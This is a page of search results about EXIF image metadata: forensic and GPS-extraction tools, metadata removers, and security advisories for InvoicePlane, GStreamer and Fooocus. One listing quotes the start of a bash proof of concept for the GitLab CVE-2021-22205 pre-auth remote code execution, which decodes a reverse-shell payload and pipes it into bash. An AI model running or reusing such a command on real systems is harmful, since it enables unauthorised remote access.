177 matches found
exifLooter
Exif Looter Blog Post » · Report Bug · Request Feature Table of Contents 1. Getting Started Installation 2. Usage Analyze specific image Analyze specific directory Pipe with other tools Remove metadata from Images Get Open Street Map URL 3. Reports 4. Roadmap 5. Contributing 6. License 7. Contact...
exif-gps-tracer
exif-gps-tracer A python script which allows you to parse GeoLocation data from your Image files stored in a dataset.It also produces output in CSV file and also in HTML Google Maps Prerequisite To run this script fluently , 1 You should have Google Maps API 2 You should enable Map JavaScript API...
GitLab-preauth-RCE_CVE-2021-22205
GitLab-preauth-RCECVE-2021-22205 single line bash PoC for GitLab preauth RCE CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...
Exif-Remove
Command Line Tool- Remove Exif Data With Ease This tool is made in Python 2.7 compiled using pyinstaller for Windows OS. Nothing is special about this tool it just ease the work for me, maybe will for you too For what reason ? Exif is Metadata stored in hidden in your pictures. Many...
imago-forensics
imago-forensics 🕵️ Imago es una herramienta Python que extrae evidencias digitales de imágenes de forma recursiva. Esta herramienta es útil durante una investigación forense digital. Si necesitas extraer evidencias digitales y tienes muchas imágenes, a través de esta herramienta podrás compararlas...
Rocky Linux 8 [CIQ] Security Update: gstreamer1-plugins-base / gstreamer1-plugins-base-debuginfo / etc (crlsa-2024_9056)
The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20249056 advisory. gstreamer: EXIF Metadata Parsing Integer Overflow CVE-2024-4453 Tenable has extracted the preceding description block directly from the CIQ security advisory. Note...
Pixel-Flood-Attack
Pixel Flood DoS - CVE-2024-22393 PoC Pixel Flood Bug for Web Servers A lightweight Proof-of-Concept to test for the Pixel Flood memory exhaustion vulnerability in web applications running vulnerable versions of Apache Answer. Table of Contents Description Technical Details Affected Versions...
CVE-2026-39372
InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or...
CVE-2026-39372
InvoicePlane , a self-hosted application for managing invoices and payments, is vulnerable to sensitive information disclosure in versions prior to 1.7.2 . The application fails to strip EXIF metadata from uploaded image attachments. Consequently, when an administrator uploads an image via invoic...
CVE-2026-39372 InvoicePlane: Sensitive Information Disclosure via Unstripped EXIF Metadata in Attachments
InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or...
CVE-2026-39372 InvoicePlane: Sensitive Information Disclosure via Unstripped EXIF Metadata in Attachments
InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or...
CVE-2026-39372 InvoicePlane: Sensitive Information Disclosure via Unstripped EXIF Metadata in Attachments
InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or...
OESA-2026-4019 gstreamer1-plugins-base security update
GStreamer is a graphics library for built-in media processing components. BasePlug-ins is a the collections used to maintain the GStreamer plugin. Security Fixes: GStreamer EXIF Metadata Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to...
CVE-2026-39372: Exposure of Private Personal Information to an Unauthorized Actor
InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane stores and serves uploaded image attachments without stripping EXIF metadata. When an administrator uploads an image through invoice attachments, quote attachments, or...
OESA-2026-3970 gstreamer1-plugins-base security update
GStreamer is a graphics library for built-in media processing components. BasePlug-ins is a the collections used to maintain the GStreamer plugin. Security Fixes: GStreamer EXIF Metadata Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to...
OESA-2026-3968 gstreamer1-plugins-base security update
GStreamer is a graphics library for built-in media processing components. BasePlug-ins is a the collections used to maintain the GStreamer plugin. Security Fixes: GStreamer EXIF Metadata Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to...
OESA-2026-3967 gstreamer1-plugins-base security update
GStreamer is a graphics library for built-in media processing components. BasePlug-ins is a the collections used to maintain the GStreamer plugin. Security Fixes: GStreamer EXIF Metadata Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to...
CVE-2026-81652
The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not verify that the requesting user is entitled to a given image record before returning it, allowing users with the Contributor role and above to read the stored metadata of any image on the site, including images in...
[SECURITY] Fedora 45 Update: exiv2-0.28.9-1.fc45
A command line utility to access image metadata, allowing one to: print the Exif metadata of Jpeg images as summary info, interpreted values, or the plain data for each tag print the Iptc metadata of Jpeg images print the Jpeg comment of Jpeg images set, add and delete Exif and Iptc metadata of...
CVE-2026-51974
An eval injection vulnerability in the getlist function in modules/metaparser.py in lllyasviel Fooocus 2.1.854 through 2.5.5 allows remote attackers to execute arbitrary Python code via a crafted styles payload in the EXIF metadata of an uploaded image file...